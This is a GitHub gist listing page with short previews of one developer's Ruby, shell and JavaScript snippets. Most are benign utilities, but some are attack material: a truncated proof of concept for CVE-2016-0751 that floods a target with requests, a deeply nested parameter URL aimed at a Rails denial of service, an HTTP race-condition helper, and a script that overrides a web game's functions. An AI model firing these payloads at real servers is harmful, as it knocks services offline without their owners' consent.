Skip to content

Instantly share code, notes, and snippets.

View mrThe's full-sized avatar
🐓

mr.The mrThe

🐓
View GitHub Profile
@mrThe
mrThe / port_open.rb
Created June 19, 2019 10:43
Ruby check if port_open?
def port_open?(host, port, timeout = 5)
addr = Socket.getaddrinfo(host, nil)
sockaddr = Socket.pack_sockaddr_in(port, addr[0][3])
Socket.new(Socket.const_get(addr[0][0]), Socket::SOCK_STREAM, 0).tap do |socket|
socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
begin
# Initiate the socket connection in the background. If it doesn't fail
# immediatelyit will raise an IO::WaitWritable (Errno::EINPROGRESS)
@mrThe
mrThe / ip-up.sh
Last active May 31, 2017 18:18
Sanctions address /etc/ppp/ip-up
# sudo touch /etc/ppp/ip-up
# sudo chmod 755 /etc/ppp/ip-up
# File content:
#!/bin/sh
# https://git.sysalex.com/snippets/7
# https://zaborona.help/ips.txt
@mrThe
mrThe / port_check.rb
Created January 23, 2017 10:11
Ruby #port_open?
def port_open?(host, port, timeout = 5)
addr = Socket.getaddrinfo(host, nil)
sockaddr = Socket.pack_sockaddr_in(port, addr[0][3])
Socket.new(Socket.const_get(addr[0][0]), Socket::SOCK_STREAM, 0).tap do |socket|
socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
begin
# Initiate the socket connection in the background. If it doesn't fail
# immediatelyit will raise an IO::WaitWritable (Errno::EINPROGRESS)
@mrThe
mrThe / block.rb
Last active November 10, 2016 11:39
Text block generator
def block(str)
chars = str.upcase.chars
size = chars.size
result = Array.new(size) { Array.new(size) { ' ' } }
chars.each_with_index do |char, i|
result[0][i] = char
result[i][i] = char
result[i][0] = char
@mrThe
mrThe / Simple_http_race_condition_helper.rb
Created August 3, 2016 08:44
Simple http race condition helper. It can be more usable, but no one cares.
require 'socket'
def create_request(data)
host = '127.0.0.1'
port = 80
request = ''
request << "POST /something.json HTTP/1.1\r\n"
request << "Host: localhost\r\n"
# add here your headers
@mrThe
mrThe / CVE-2016-0751.rb
Created January 28, 2016 14:16
[PoC] CVE-2016-0751
# https://groups.google.com/forum/#!topic/ruby-security-ann/9oLY_FCzvoc
require 'uri'
require 'net/http'
require 'securerandom'
uri = URI("http://localhost:3000/") # Target
10000.times do |i|
http = Net::HTTP.new(uri.host, uri.port)
https://groups.google.com/forum/#!topic/rubyonrails-security/gcUbICUmKMc
http://HOSTNAME/?foo[a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a]
@mrThe
mrThe / keybase.md
Created April 16, 2015 09:09
keybase.md

Keybase proof

I hereby claim:

  • I am mrThe on github.
  • I am mrthe (https://keybase.io/mrthe) on keybase.
  • I have a public key whose fingerprint is 6D91 6D49 77DF B535 C969 B4F5 9648 F36A BF0A D2A5

To claim this, I am signing this object:

function Miner(incr, dripK, delay) {
var that = this;
this.incr = incr || localStats.bps*1e3;
this.dripK = dripK || 0.5;
this.delay = delay || 100;
document.hasFocus = function () {return true;};
NO_PINGY=1; // 'pingy' off
// Redefine postEvent
RestEventManager.prototype.postEventData = function(e,t,next)
@mrThe
mrThe / monitor.sh
Created February 10, 2014 17:18
Shell file changing monitor
# from: http://stackoverflow.com/questions/2972765/linux-script-that-monitors-file-changes-within-folders-like-autospec-does
#!/bin/bash
sha=0
previous_sha=0
update_sha()
{
sha=`ls -lR . | sha1sum`